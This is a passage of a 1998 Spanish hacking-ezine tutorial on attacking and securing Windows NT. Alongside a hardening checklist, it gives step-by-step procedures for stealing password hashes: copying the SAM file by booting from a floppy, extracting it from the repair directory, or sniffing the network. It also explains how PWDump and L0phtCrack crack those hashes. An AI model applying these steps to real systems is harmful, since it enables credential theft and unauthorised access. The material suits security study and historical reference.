-[ 0x0F
]--------------------------------------------------------------------
-[ Hacking NT v 1.0
]--------------------------------------------------------
-[ by Chessy
]--------------------------------------------------------SET-15-
_ _ __ _____
/\
/\ __ _ ___ | | __(_) _ __ __ _
/\ \ \/__ \
/ /_/ / / _` | / __|| |/ /| || '_ \ / _` |
/ \/ / / /\/
/ __
/ | (_| || (__ | < | || | |
|| (_| | / /\ / /
/
\/ /_/
\__,_| \___||_|\_\|_||_| |_| \__, |
\_\ \/ \/
|___/
__________________________________________________________________________
Hacking NT v1.0 por
Chessy, 8 de Mayo de 1998.
'Remember, before
asking a question, always try to answer yourself first'
__________________________________________________________________________
Basandome en un
esqueleto de texto fruto de la traducci¢n del articulo de la
ezine The Havoc
Technical Journal n§ 13, por WaRsPrItE,
y docs del grupo
Rhino9, Technotronic,
The Gnome NT Hacking FAQ y diversos
articulos del
CERT, CIAC, listas de
distribucion NTBugTraq, BugTraq, NTSecurity, AntiOnline,
Rootshell, ezines Saqueadores, Phrack, JJFHackers, libros Maximum
Security,
Manual de
Seguridad de Windows NT, la web de Microsoft sobre
seguridad,
el documento Hardening
NT, articulos de seguridad en la revista PC Actual
y cientos de
referencias extraidas de la Web. Para mas detallada informacion
sobre la bibliografia
se ha incluido el Apendice A.
Copywrong ¸ Chessy'98.
All disclaimers applied.
Licencia de uso y
distribucion en <disclaim.txt> que acompa¤a al zip de
SET 15.
Contenido
1. Seguridad en
Sistemas Distribuidos basados en Windows NT..........
1.1. ¨Por que
preocuparse de la seguridad?.............................
1.1.1. El Crecimiento
de Internet vs. Ataques en Internet..................
1.2. ¨Merece la pena
el esfuerzo de centrarse en NT?.......................
1.3. Ataques a Windows
NT. Una taxonomia de los posibles ataques............
1.4. Defensas en
Windows NT. Una taxonomia de las posibles defensas.........
2. Basico. Como y
donde conseguir el fichero de passwords...................
2.1. Accediendo a los
passwords...........................................
2.1.1. Volcandolos
desde el Registro........................................
2.1.2. Extrayendo los
password hashes de un fichero SAM.....................
2.1.3. Usando un
Sniffer en la red local....................................
3. Hacking &
cracking de passwords. PWDump & L0phtCrack.....................
3.1. Informacion sobre el volcado de Passwords
en NT con la utilidad PWDump.
3.2 Como usar la utilidad
PWDump.......................................
3.3. Como funciona PWDump................................................
3.4. El codigo fuente de
PWDump..........................................
3.5. Informacion sobre el crackeo de Passwords
en NT. La utilidad L0phtcrack
3.5.1. L0phtcrack.
Crackeo de passwords con encriptacion LANMAN y/o MD4.....
3.5.2. ¨Por que es tan
importante ser capaz de atacar solo claves MD4?.....
3.5.3. Rendimiento de
L0phtcrack...........................................
3.5.4. Donde conseguir
la herramienta L0phtcrack...........................
4. Introduccion a
NetBIOS............................................
4.1. ¨Que es
NetBIOS?.......................................................
4.2. Servicio de
Nombres en NetBIOS.........................................
4.3. El servicio de
'Session' NetBIOS.......................................
4.4. Datagramas
NetBIOS.....................................................
5. Vulnerabilidades
NetBios. NAT.....................................
5.1. El comando
NBTSTAT.....................................................
5.2. Introduccion a
los comandos NET........................................
5.3. Una sesion de
ataque NetBIOS mediante el uso de NET VIEW y NET USE.....
5.4. Una sesion de
ataque NetBIOS mediante el uso de NAT.EXE................
6. Vulnerabilidades en
Internet Information Server (IIS).............
6.1. Entrando por la
puerta trasera.........................................
6.2. El ataque Pipe
HTTP/FTP................................................
6.3. Otros ataques al
IIS...................................................
6.4. Conclusion a los
ataques IIS...........................................
7. Ataques tipo D.o.S.
(Denial of Service)...........................
7.1. Ataque
OOB......................................................
7.2. Ataques Teardrop I y II, NewTear,
Bonk, Boink...................
7.3. Ataque
Land.....................................................
7.4. Ataque
Smurf....................................................
8. El vulnerable Registro
de Windows NT..............................
8.1. ¨Que es el
registro?...................................................
8.2. ¨Que son los
'hives'?..................................................
8.3. Los fallos del
registro................................................
8.4. Acceso remoto al
registro..............................................
9. Spoofing (un ataque
comun a otros sistemas).........................
9.1. Introduccion. IP
Spoofing & DNS Spoofing...............................
9.1. DNS
Spoofing...........................................................
10. Otros ataques via
Web...............................................
10.1. Ataques por JavaScript,
VBScript...............................
10.2. Ataques por vulnerabilidades en
los navegadores................
10.3. Ataques por
Java...............................................
10.4. Ataques por
ActiveX............................................
11. Medidas de
seguridad Service Pack & HotFix..........................
11.1. Como parchear el
sistema. Service Pack & Hot-Fix......................
11.2. Listado de
Service Pack 3 & Hot-Fix-post-SP3.....[no incluido]........
12. Escaneadores de
puertos TCP/UDP. Paranoic...........................
12.1. El arte del
escaneo de puertos TCP....................................
12.2.
Introduccion..........................................................
12.3.
Tecnicas..............................................................
12.4. ¨Que tecnica usa
Paranoic?............................................
13. Apendice A.
Bibliografia............................................
14. Apendice B. El
fichero de passwords de prueba.......................
15. Apendice C. Los
resultados del crackeo de passwords.................
16. Apendice D.
Encuesta y perfil de 100 conocidos hackers..............
1. Seguridad en Sistemas Distribuidos basados
en Windows NT.
1.1. ¨Por que
preocuparse de la seguridad?
Desde 1990 hasta
nuestros dias, el CERT (Computer Emergency Response Team),
un grupo de seguridad
internacional especializado en dar respuesta a las
empresas y
organizaciones que denuncian ataques informaticos a sus sistemas
de informacion, viene
desarrollando una serie de estadisticas y datos que
demuestran que cada dia
se registran mas y mas ataques informaticos. No solo
eso; debido al cada
vez mayor conocimiento de la tecnologia actual por parte
de los atacantes
(hackers) y a las grandes posibilidades de distribucion e
intercambio de la
informacion en la propia Internet, estos ataques cada vez
son mas sofisticados,
automaticos y dificiles de rastrear. A todo ello se une
el auge que a las
puertas del siglo XXI tiene el mundo de la seguridad
informatica.
Cualquier crio de 15
a¤os (script kiddies), sin tener grandes conocimientos,
pero con una potente y
estable herramienta de ataque desarrollada por
expertos hackers, es
capaz de dejar fuera de servicio cualquier servidor de
informacion de
cualquier organismo en Internet, simplemente siguiendo las
instrucciones que
acompa¤an la herramienta.
Recientemente, hemos
visto, escuchado y leido por todos los medios de
comunicacion, noticias
sobre la detencion de varios grupos de hackers,
incluido uno espa¤ol
(Mentes Inquietas), acusados de haberse infiltrado en
sitios, en principio
tan inviolables y bastiones de seguridad, como el
Pentagono o la NASA.
Es evidente que la
prensa, radio, television, los gobiernos y los cuerpos de
seguridad del Estado
(norteamericano FBI, o espa¤ol Guardia Civil) que
intervinieron en estas
detenciones magnifican la noticia en busca de una
audiencia cada vez mas
escasa o de un reconocimento de su habilidad. En
ocasiones, ademas,
provocan una actitud de desprecio y miedo a uno de los
mayores
descubrimientos de la Humanidad, Internet, debido al desconocimiento
de gran parte de esa
audiencia de las ventajas (no solo inconvenientes) que
reporta la red de
redes.
Este estudio no
pretende alarmar a nadie ni sembrar la semilla del futuro
hacker, sino servir de
informacion a todo aquel minimamente interesado en
proteger su/s
sistema/s informatico/s. Evidentemente, la informacion puede ser
aprovechada para fines
menos licitos, pero es algo que nunca se podra evitar
y que ciertamente,
tampoco me importa. La mayor parte de la buena informacion
sobre seguridad se
encuentra en los sitios de grupos de hacking, underground
y cyberpunks que
pueblan Internet. Sin su ayuda, este trabajo no hubiera sido
posible, o hubiera
bajado muchos puntos de calidad.
Segun las estadisticas
del CERT el numero de incidentes declarados bajo de
2573 en 1996 a 2134 en
1997. Esto puede ser debido a muchas causas, pero no
necesariamente a que
haya bajado el numero de ataques:
a) Las empresas u
organizaciones no se pueden permitir el lujo de denunciar
ataques a sus
sistemas, pues el nivel de confianza de los clientes
(ciudadanos) bajaria
enormemente. ¨Que pensaria un cliente de un banco si
este declara que cada
a¤o sufre 200 ataques informaticos, aunque ninguno de
ellos hubiese
terminado exitosamente para el atacante? ¨Que pensarian los
ciudadanos de los EEUU
si el Pentagono anunciase cada uno de los cientos de
ataques que sufren a
lo largo del a¤o? (Hay que notar que este lugar, es una
de las pruebas de
fuego para todo hacker).
b) Cada vez mas, los
administradores tienen una mayor conciencia respecto de
la seguridad de sus
sistemas y arreglan por si mismos las deficiencias
detectadas. A esto hay
que a¤adir las nuevas herramientas de seguridad
disponibles en el
mercado y las nuevas empresas dedicadas a este tema que
han surgido a lo largo
de los a¤os.
c) El propio CERT ha
tenido que lanzar cada a¤o mas 'advisories' (documentos
explicativos) sobre
los nuevos agujeros de seguridad detectados y la forma de
solucionarlos, pasando
de 15 advisories y 2 boletines especiales en Diciembre
de 1994 a 28
advisories y 16 boletines en Diciembre de 1997.
1.2. ¨Merece la pena
el esfuerzo de centrarse en NT?
Nada mejor que un
nuevo par de estadisticas graficas para demostrar que
efectivamente, Windows
NT es un sistema operativo de red (orientado cada vez
mas a Internet) con
futuro. Eso si, siempre con el permiso de los nuevos
sistemas operativos
Inferno y en especial LiNUX, sistema operativo de red muy
estable y GRATUiTO,
que estan adoptando cada vez mas y mas empresas, en
especial aquellas que
quieren ofrecer servicios Web, al disponer de un
servidor muy
eficiente, estable y gratuito: APACHE. La ventaja de Microsoft
hoy en dia, es que
puede ofrecer servicio tecnico, y que muchas empresas
desconfian de una de
las mayores ventajas de LiNUX, su gratuidad, ademas de
la facilidad de
instalacion de un sistema NT vs. uno LiNUX.
[NOTA: Recordad que en
esta version ascii no se pueden ver los graficos, para
leer el documento
completo y original (version Word) podeis recogerlo en la
web de SET]
Una nueva nota, que no
hace ms que alejar cualquier atisbo de duda:
[7-VI-98] PC-Actual n§
97, Secci¢n Actualidad/Mercado
V Encuesta de Satisfacci¢n de Usuarios de
Computing
812 grandes empresas espa¤olas opinan sobre
el S.O. utilizado
El semanario europeo de tecnolog¡as de la
informaci¢n Computing ha
publicado recientemente su V encuesta de
satisfacci¢n de usuarios,
realizada por CB Consulting. En ella han
participado 812 directores de
informtica de empresas con una facturaci¢n
superior a los 1000 millones
de pesetas.
Tres sistemas operativos se reparten el favor
de los grandes usuarios:
HP/UX, OS/400 y Windows NT con una cuota de
mercado que oscila entre el
19% del primero y el 15% del ultimo. Eso s¡,
la proyecci¢n de NT es
imparable.El 42% de los encuestados afirm¢
que su sistema operativo
futuro ser Windows NT, frente a un 12% Unix y
un 5'7% HP/UX (OS/400
ser¡a la elecci¢n futura de un 3'8%).
Ms informaci¢n: http://www.bpe.es/computing
1.3. Ataques a Windows
NT. Una taxonomia de ataques genericos.
Veamos primero una
posible taxonomia de los ataques a redes y ordenadores en
general. Del capitulo
6 de la tesis.
Atacantes
Hackers Espias
Terroristas Criminales Vandalos Espionaje
Profesionales
(Crackers) Industrial
Herramientas
Linea de Script o
Agente Herramientas Herramientas Intervencion de
Comandos Programa
Autonomo Integradas Distribuidas comunicaciones
Metodos de acceso
Vulnerabilidades Vulnerabilidades Vulnerabilidades Acceso o uso
en implementacion en dise¤o en configuracion
no autorizado
Procesa ---> Flujo de datos | Ficheros
Resultados
Corrupcion de Revelacion de Acceso a servicios
Denegacion de
informacion. informacion no autorizados
servicios
Objetivos
Desafio Ganancia Ganancia Da¤ar
Politica Financiera
1.3. Ataques a Windows
NT. Una taxonomia de ataques especificos a NT.
D.O.S (Denegacion de
servicio) === Teardrop Land
Spoofing ==
DNS Spoofing IP Spoofing
'Man in the
middle'== Web Spoofing
Ataques al registro ==
L0pthcrack RedButton
Ataques de Red == NetBIOS NAT
Ataques de diccionario
== Ataque via Samba Ataque via IIS
Bugs del sistema NT
== GetAdmin
Ataques a servidores
Web. == IIS Bug 8+3
Sondeos == Puertos
DNS
Bugs en la seguridad
de las
aplicaciones ==
Buffer Overflow FTP Bounce
Attack
Ataques con
tecnologias Web
== Bug JavaScript Bug RadiactiveX
Troyanos == FPNWCLNT.DLL MSGINA.DLL ("Graphical
Identification and Autorization")
Ataques Locales ==
Ataques a las aplicaciones. == NTFSDOS.EXE ROLLBACK.EXE
Sniffers == L0phtcrack Asmodeus
1.4. Defensas en
Windows NT. Una taxonomia de las posibles defensas.
Las posibles acciones
correctivas, se presentan aqui a modo de checklist,
debido a que muchas
veces, para solucionar distintos tipos de ataque, se
deberian seguir
metodos de correccion similares. Por ello, lo ideal seria
repasar una lista
generica de chequeo y comprobar que se han intentado todos
los metodos aqui
expuestos antes de implicar a organismos como el CERT u
otros relacionados con
la seguridad informatica.
1. Modificar el codigo
fuente del programa que falla.
2. Filtrado de
paquetes (sin necesidad de firewall).
PanelControl/Protocolos/Avanzada.
3. Encriptar la
informacion que fluye por la red.
4. Utilizar otro
sistema operativo u otro ordenador.
5. Esperar un hotfix
de Microsoft (requiere tiempo).
6. Configurar bien el
firewall (o instalar uno). Como minimo se debe
negar el acceso desde
el exterior a los puertos comprendidos entre el
135 y el 139 (NetBIOS)
tanto para TCP como UDP.
7. Actualizarse a la
ultima version del programa/aplicacion vulnerable.
8. Deshabilitar los
servicios que no se usen (ejemplo: los Simple TCP/IP
Services, como echo,
chargen, QOTD,...)
9. Instalar el ultimo
Service Pack disponible (actualmente el SP3, pero
esta a punto de salir
el 4).
10. Editar el Registro
de NT (regedit, regedt32). Lee el apartado dedicado
a las vulnerabilidades
del registro de Windows NT.
11. Auditar el sistema
(estudiar los logs para identificar al atacante).
12. No permitir
arranque desde disquete, ni arranque dual (evitando asi el
acceso a los volumenes
NTFS).
13. Utiliza un
escaneador de vulnerabilidades (que no sea de Microsoft)
regularmente, y pasa
antivirus siempre que puedas.
14. Eliminar el
servicio vulnerable (solucion drastica)
15. Pedir ayuda en las
distintas listas de distribucion, news, IRC, Web
para conseguir mas
informacion.
16. Usar la version
USA de NT para acceder mas rapidamente a los hotfix.
17. Lee todas las
paginas Web que aparecen en el apendice. Frecuentemente.
18. Suscribete a las
listas de distribucion que aparecen en el apendice de
este documento y lee
los foros de noticias relacionados con la
seguridad que tambien
se citan. Diariamente.
19. Suscribirse a la
pagina de NTBugtraq para recibir actualizaciones de
los nuevos parches 2
horas despues de su publicacion.
20. Restringir el
acceso al soft/hard del sistema, tanto fisica como
logicamente.
21. Consultar todos
los documentos y manuales de la aplicacion.
22. Configurar
adecuadamente los ACL (Access Control List)
23. Usar el Kit de
Recursos de NT (alguna accion correctiva ya esta
implementada en alguna
herramienta de este kit).
24. Deshabilitar la
posibilidad de conexion remota al servidor en las
workstations de la
red.
25. Formatear el disco
con el modelo NTFS
26. Quitar todos
permisos de lectura al grupo Everyone del registro.
27. Usar el servicio
de auditoria que ofrece NT (sobre todo si ofrecemos
servicios Internet)
28. Asegurarse de que
los ficheros solo tienen permisos de lectura y
ejecucion. Intentar
separar los ficheros publicos de los privados.
29. Crea una politica
restrictiva de passwords con la ayuda del User
Manager.
30. Deshabilita la
opcion que muestra el ultimo usuario conectado cuando
se inicia una sesion.
31. Inserta un banner
para cuando un usuario comienza una sesion, que
indique que todas sus
acciones seran auditadas. Hazlo si no quieres
perder un juicio
seguro (el intruso puede alegar que sus acciones no
podian ser auditadas
al no habersele avisado antes !)
32. Deshabilita el
derecho de conexion "Acceso a este ordenador desde la
red" que se le
concede a los administradores en los controladores de
dominio.
33. Si puedes,
deshabilita el servicio de Scheduler (planificador). El
Scheduler puede
utilizarse para ejecutar programas con permisos de
sistema.
34. Restringe el
acceso a ciertos ejecutables que creas peligrosos
(posiblemente CMD.EXE
o NTBACKUP.EXE)
35. Instala los
servidores Web, Ftp, Gopher... TRAS (fuera de) EL
FIREWALL.
36. Cambia el nombre
de login del 'Administrador'. Si no lo haces, el
intruso siempre podra
atacar esta cuenta por medio de un ataque de
diccionario o fuerza
bruta.
37. Estudia todo lo
que puedas sobre como configurar bien un firewall y
las diferentes
opciones que existen.
38. Lee los logs
diariamente. usalos como una guia pero no confies
ciegamente en ellos.
No todo lo que ocurre en el ordenador esta en los
logs. Investiga todo
lo que consideres extra¤o.
Ademas, una vez
identificado un ataque/atacante, se pueden llevar a cabo las
siguientes acciones
externas:
* Medidas contra el
intruso:
+ Avisarle
+ Arrestarlo
+ Multarle
* Acciones legales contra
el intruso:
+ Tracear
+ Investigar
+ Contratar un
servicio secreto
+ Enjuiciar
+ Llamar a la policia
Para finalizar, nunca
te dejes llevar por el panico, pero se paranoico.
Tomate todos los
eventos relacionados con la seguridad y todos los indicios
de ataque seriamente,
y cuando estes seguro de que algo raro pasa y no puedas
resolverlo por tu
cuenta, contacta con el CERT y/o con el grupo de seguridad
de Microsoft
2. Basico. Como y
donde conseguir el fichero de passwords.
2.1. Accediendo a los
passwords.
Antes de que los
passwords puedan ser procesados (crackeados), necesitas
conseguir los password
hashes (trozos de password encriptados pero en formato
texto ASCII, los
'password hashes' en jerga anglosajona). Principalmente,
existen 3 metodos:
directamente del registro, de un fichero SAM en disco o
mediante el uso de un
sniffer.
2.1.1. Volcandolos
desde el Registro.
Si tienes privilegios
de administrador puedes conseguir los passwords
encriptados usando la
opcion "Tools Dump Passwords from Registry' de la
utilidad L0phtcrack
(comentada en el capitulo III).
Especifica el nombre
de un ordenador o la direccion IP con el formato tipico
de MS
\\nombre_ordenador o \\direccion_IP. Sin embargo, NT puede ser
configurado para
prohibir el acceso al registro de forma remota a traves de
la red, por lo que
necesitaras estar conectado de forma local a la maquina
que quieras hackear.
Ademas Microsoft ha introducido la utilidad SYSKEY en
el Service Pack 3 de
Windows NT. Si esta utilidad esta ejecutandose en el
sistema objetivo los
password hashes estaran encriptados y no podran ser
extraidos de esta
manera.
Si usas la version
espa¤ola de NT, la palabra Administrator se cambia por
Administrador; debido
a esto, es necesario modificar una clave del registro
para conseguir que la
opcion 'Dump Passwords' funcione. Ejecuta regedit.exe y
edita el valor de la
siguiente clave:
HKEY_CURRENT_USER\Software\L0pht\L0phtCrack\AdminGroupName
Inicializala al valor
'Administrador'.
2.1.2. Extrayendo los
password hashes de un fichero SAM.
El siguiente metodo es
una novedad de la version L0phtCrack 2.0. Puedes
extraer los password
hashes del fichero SAM del disco duro, del Disco de
Reparacion de
Emergencia de NT o de una cinta de backup. El Registro de NT
actualmente esta almacenado
en diferentes ficheros del disco de sistema, en
el directorio
d:\winnt\system32\config.
No se puede acceder a
estos ficheros mientras NT este ejecutandose dado que
estan abiertos en
exclusiva por el sistema operativo. Si tienes acceso fisico al
sistema, puedes
arrancar el ordenata con un disquete DOS y usar un programa
como NTFSDOS (que
puede conseguirse en http://www.ntinternals.com/ntfs20r.zip)
para copiar el fichero
SAM de d:\winnt\system32\config a un disquete. Despues
puedes usar el comando
'File Import SAM' para extraer los password hashes del
fichero que acabas de
conseguir.
Otro lugar donde
encontrar el fichero SAM que no requiere rebotar la maquina
es en el directorio
d:\winnt\repair o en el disco de Rescate de Emergencia.
Cada vez que se hace
un disco de rescate, los contenidos de la rama SAM del
registro son salvados
y comprimidos en el fichero 'sam._'. Este fichero puede
ser descomprimido con
el comando:
expand sam._ sam
El fichero SAM
descomprimido puede ser importado por L0phtCrack.
El fichero SAM tambien
es guardado en las cintas de copia de seguridad cuando se
hace un backup del
sistema. Si tienes acceso a una cinta de backup, puedes
restaurar el fichero
SAM de d:\winnt\system32\config a otra maquina e
importarlo en L0phtCrack.
Si la utilidad SYSKEY
del SP3 de NT 4.0 esta instalada, todos los ficheros
SAM estan encriptados
y no podran ser leidos por L0phtCrack.
2.1.3. Usando un
Sniffer en la red local.
Si esta instalado
SYSKEY y no tienes ni acceso remoto ni acceso fisco, existe
otra posibilidad para
obtener los password hashes: usar un sniffer. Esto
requiere que tu
ordenador este en el mismo segmento de red que el objetivo de
nuestro ataque. El
sniffer incluido con L0phtCrack 2.0, readsmb.exe, solo
funcionara en Windows
NT 4.0. Antes hay que instalar un driver de red NDIS
(si sigues las
instrucciones de instalacion del programa no tendras ningun
problema.)
El sniffer es un
programa con interfaz de linea de comandos (ventana MSDOS)
llamado readsmb.exe.
Ejecutalo y redirige su salida a un fichero con el
comando:
readsmb > passwd
Si lo dejas un dia o
mas ejecutandose, seguro que recolectas suficientes
passwords. Despues
puedes abrir el fichero generado con el comando 'File Open'
de L0phtCrack.
3. Hacking & cracking
de passwords en NT. PWDump & L0phtCrack.
Lo primero de todo, me
gustaria decir que creo que la conjuncion de 'PWDump'
con 'L0phtCrack' es
una excelente herramienta de seguridad para chequear la
seguridad de redes
basadas en Windows NT. Sin embargo, de la misma manera que
ocurria con el ahora
famoso y sobrevalorado 'SATAN', no es la llave maestra
de ninguna red NT.
Como siempre digo en
todos los articulos que escribo, la clave siempre esta
en lo mas basico. Si
los usuario eligen buenos passwords, sera practicamente
imposible crackearlos.
Por ejemplo, si cuando eliges un password, usas tanto
mayusculas como
minusculas y numeros, existen 1.240176943466 x 10(25) posibles
combinaciones. Ahora
a¤adele alguna puntuacion decimal a ese numerito!
Recuerda que en NT el
password puede ser hasta de 14 caracteres, a diferencia de
los 8 unicos
caracteres que se pueden elegir en los sistemas UNIX. No hace
falta decir que los
ataques de fuerza bruta son inabordables ante un password
bien elegido en
cualquiera de los dos sistemas.
Los dos programas que
se suelen usar para atacar los passwords en NT son
L0phtCrack y PWDump.
Debo decir que PWDump [escrito por Jeremy Allison,
jra@cygnus.com, para
el proyecto SAMBA] funciona muy bien.
Siempre que tengas
privilegios de
administrador. Pero, entonces, ¨por que usarlo para propositos
de hacking?! Porque
trabaja con cualquier copia del registro.
Asi, cualquier copia
de seguridad del servidor que quieras piratear puede
tener una copia del
registro del sistema. El ejemplo del
hackeo del servidor
NT que se muestra en
este documento fue gracias a la ineficacia del
administrador del
sistema, el cual permitia a los usuarios de Dominio
conectarse de forma
local en el servidor. Durante la instalacion del sistema,
NT pregunta si quieres
realizar un disco de rescate (rdisk.exe) y la eleccion
por defecto es
"Si". Cada vez que ejecutas rdisk.exe, NT guarda una copia del
registro en
%SystemRoot%\Repair (donde %SystemRoot% es el directorio del
sistema, normalmente
d:\winnt ). Y los permisos por defecto de ese directorio
son de
"lectura" para todos los usuarios.
Ahora ya es muy
sencillo conseguir una copia del registro. El unico
problema es que todos
los passwords que hayan sido cambiados desde la ultima
vez que se ejecuto
rdisk.exe no funcionaran (evidentemente, pero este es un
problema menor). Ahora
que disponemos de una copia del registro, como podemos
extraer de ella la
rama de los passwords? Bien, busca una maquina NT de la
cual seas
"Administrador", y ejecuta PWDump.exe (normalmente, se suele tener
una copia de NT en el
ordenador de casa para experimentar ahi antes de llevar
los ataques a la
practica). PWDump.exe volcara toda la informacion de los
passwords contenida en
el registro a un fichero de texto. Despues de eso es
muy sencillo, solo
falta ejecutar L0phtCrack.exe con tu diccionario de
palabras favorito o
usar el programa en modo de fuerza bruta. Llevo 6 dias en
un Pentium 133
conseguir 3 cuentas (con la rev. 1.0). Sorprendentemente, eran
passwords de 6
caracteres de longitud, osea, muy pobremente elegidos.
Para mas info sobre
como y donde conseguir el fichero de passwords, ver el
capitulo II.
3.1. Informacion sobre
el volcado de Passwords en NT con la utilidad PWDump.
Esta util herramienta
es capaz de volcar la base de datos de los passwords
almacenados en una
maquina NT, localizada en el registro de NT (bajo la rama
HKEY_LOCAL_MACHINE\SECURITY\SAM\Domains\Account\Users)
in un fichero con
formato smbpasswd.
Esta funcionalidad esta dise¤ada para ayudar a los
administradores de
maquinas UNIX con capacidad de compartir ficheros e
impresoras con
maquinas NT mediante el programa Samba (como puede hacerse con
LiNUX). Estos
administradores a menudo necesitan sincronizar (sync) la base
de datos maestra de un
su sistema NT, donde guardan una copia de todos los
passwords, con el
fichero de passwords smbpasswd del servidor UNIX/Samba.
Esta utilidad vuelca,
con el siguiente formato, las entradas de passwords del
sistema NT:
<user>:<id>:<lanman
pw>:<NT pw>:comment:homedir:
Donde <user> es
el nombre de usuario en Windows NT, <id> es el RID de Windows
NT (ID relativo) - el
ultimo componente de 32 bits del SID de los usuarios de
Windows NT, <lanman
pw> es el hash del password del usuario usando
codificacion lanman,
<NT pw> es el hash del password del usuario usando
codificacion md4
-notese que si el usuario no tiene password este sera
volcado como la cadena
de caracteres 'NO PASSWORD*****', si la cuenta esta
deshabilitada o no es
valida, se volcaran 32 asteriscos '*'. El apartado
:comment es una
concatenacion del nombre completo del usuario en Windows NT y
el campo de
descripcion en el programa user-manager de Windows NT. El homedir
(directorio raiz del
usuario) por desgracia, no puede contener caracteres ':',
dado que estos son
usados como separadores de campo en el fichero smbpasswd
(como en UNIX). Por
eso, todos los caracteres ':' que vengan tras los
caracteres que
identifiquen las unidades de disco son volcados como
caracteres de
subrayado '_'.
3.2. Como usar la
utilidad PWDump.
Solo como una
sugerencia, recomendaria volcar los passwords de tus maquinas
NT y despues crear
usuarios UNIX normales (en /etc/passwd)
con los mismos
numeros de cuenta UNIX
que sus RID en NT - esto hara que replicar el fichero
smbpasswd sea una
tarea mas sencilla un poco mas tarde. Estas cuentas
/etc/passwd podrian
tener las entradas de password deshabilitadas,
prohibiendo asi a los
usuarios NT conectarse al servidor UNIX mendiante una
sesion telnet (esto es
algo similar a quitar el permiso 'Conectarse de forma
local' en un servidor
NT). El fichero smbpasswd creado podria copiarse luego
al fichero
$SAMBA/private/smbpasswd (donde $SAMBA es el directorio raiz de la
instalacion Samba). Si
Samba esta configurado para seguridad a nivel usuario
y encriptacion de passwords
(inicializa la siguiente variable:
security = user
encrypted passwords = yes
en tu fichero
smb.conf) entonces los usuarios de Windows NT/95 conectados al
dominio NT seran
capaces de acceder de manera transparente a los recursos en
la maquina Samba dado
que disponen de un id de usuario UNIX correcto
(el mismo que acabas
de crear). Despues puedes configurar un trabajo 'AT' en
el servidor NT para
volcar periodicamente la base de datos de los passwords
en nuevo fichero
smbpasswd y sobreescribirlo en el servidor Samba para
mantener las bases de
datos de passwords de los dos servidores sincronizadas.
La utilidad PWDump.exe
puede tomar como argumento un \\nombre_de_maquina,
procediendo al volcado
de la base de datos con los passwords de dicha maquina
en lugar de la maquina
local, siempre y cuando se dispongan de los suficientes
privilegios para
hacerlo. Por defecto, siempre volcara la base de datos con
los passwords de la
maquina local.
NOTA: Los passwords
volcados por esta utilidad son equivalentes a los
'passwords en texto
ASCII' del protocolo CIFS y deben ser protegidos. La
seguridad UNIX en el
fichero smbpasswd debe ser inicializada de la siguiente
forma:
Owner root, permisos
rw------- , es decir, lectura/escritura para el
propietario del
fichero, (como hemos dicho, sera el root) y ningun tipo de
acceso al resto del
mundo.
3.3. Como funciona
PWDump.
Esta utilidad se
esfuerza por mantener la seguridad en NT dado que enreda con
las ramas SAM del
registro NT. Ademas, nunca se ejecutara si no posees permisos
de Administrador.
Primeramente, PWDump realiza los minimos cambios necesarios
para permitir al
programa leer las entradas de passwords. Vuelca todas las
entradas de los
usuarios (analiza el codigo fuente para los detalles) y
despues vuelve sobre
sus pasos para restaurar en el registro todas las
caracteristicas de
seguridad de todas las claves que ha tocado. He testeado
este codigo en un
servidor y una estacion de trabajo NT 4.0 y nunca he tenido
problemas, pero como
siempre, este codigo no tiene ninguna garantia.
3.4. El codigo fuente
de PWDump.
El codigo fuente para
esta utilidad puede encontrarse en:
ftp://samba.anu.edu.au/pub/samba/PWDump/PWDump.c
Observese que este
codigo necesita una libreria de encriptacion DES para
compilar. La que he
usado para este documento ha sido la excelente libreria
DES de Eric Young que
se puede encontrar en:
ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/libdes-4.01.tar.gz
que compila bien bajo
Windows NT. Use Microsoft Visual C++ 4.x
como entorno de
compilacion. El codigo binario PWDump.exe tambien se puede
encontrar en las
paginas Web del proyecto Samba para aquellos que no dispongan
de un compilador. El
ejecutable es para plataformas x86 gobernadas por NT.
3.5. Informacion sobre
el crackeo de Passwords en NT. La utilidad L0phtcrack.
El grupo de hackers
L0pht, concretamente mudge@l0pht.com y weld@l0pht.com ,
libero el 10 de Abril
de 1997 la primera revision de la utilidad L0phtcrack,
demostrando como
crackear un password en NT. ( En los primeros meses de 1998, se
libero la ultima
version, la 2.0. que se puede descargar de
http://www2.l0pht.com/users/10pht/lc2exe.zip
)
Recuperando la salida
de passwords en formato LANMAN o en el dialecto de
encriptacion MD4 de
Windows NT que volcaba 'PWDump' desde la rama SAM del
registro, era capaz de
descifrar bien por fuerza bruta o por ataques de
diccionario los
passwords que se le presentaran como entrada.
Usando la salida de
'PWDump' y un diccionario, L0phtcrack es capaz de obtener:
1) solo los passwords
LANMAN desencriptados
2) solo los passwords
en el dialecto MD4 de NT desencriptados
3) tanto los passwords
LANMAN como los MD4 (derivando los passwords MD4 de
la salida LANMAN y
probando a traves de las 2 a la N permutaciones).
Tambien es posible
usar el metodo de fuerza bruta y probar con todo el espacio
de claves, recuperando
todos los passwords de usuario de hasta 14 caracteres
(recuerdese que el
cuadro de dialogo de conexion de usuarios en Windows NT
solo permite claves de
14 caracteres de longitud.)
L0phtcrack puede ser
usado ademas de 3 maneras diferentes:
1) Mediante un entorno
grafico tipico de Windows.
2) Mediante un
interface de linea de comandos (MS-DOS)
3) Modificando el
codigo fuente, que viene junto con el programa
ejecutable.
Para una completa
descripcion de como funciona la encriptacion LANMAN y MD4,
consultar los
excelentes documentos disponibles via web en
www.ntbugtraq.com/Contributions/SAMAttack.asp
www.ntbugtraq.com/Contributions/samfaq.asp
3.5.1. L0phtcrack.
Crackeo de passwords con encriptacion LANMAN y/o MD4.
LANMAN
Pasando como parametro
un diccionario, cada palabra sera encriptada usando el
formato LANMAN con una
pasada DES. A continuacion, la lista de usuarios se
chequea contra esta
palabra encriptada. Cualquier coincidencia sera
presentada como un
exito.
MD4
Pasando como parametro
un diccionario, cada palabra sera encriptada usando MD4.
La lista de usuarios
se chequea contra esta palabra encriptada y se marcaran
las coincidencias.
LANMAN y MD4
Pasando como parametro
un diccionario, cada usuario sera contrastado
contra la encriptacion
de cada palabra usando el formato LANMAN con una
pasada DES. Si se
encuentra una coincidencia, la palabra se encripta con las
2 elevado a la
longitud(palabra) permutaciones de mayusculas/minusculas
posibles en MD4, para
devolver el valor MD4 sensible a mayusculas/minusculas.
Fuerza bruta
Pasandole al programa
una cadena con la lista de todos los caracteres validos
posibles, se prueban
todas las posibles combinaciones de hasta 7 caracteres
de longitud (ver el
por que solo 7 caracteres y no 14 en la explicacion de la
encriptacion de
passwords en Windows NT ]). La primera y la segunda mitad del
password LANMAN son
comparadas contra cada una de estas posibles combinaciones,
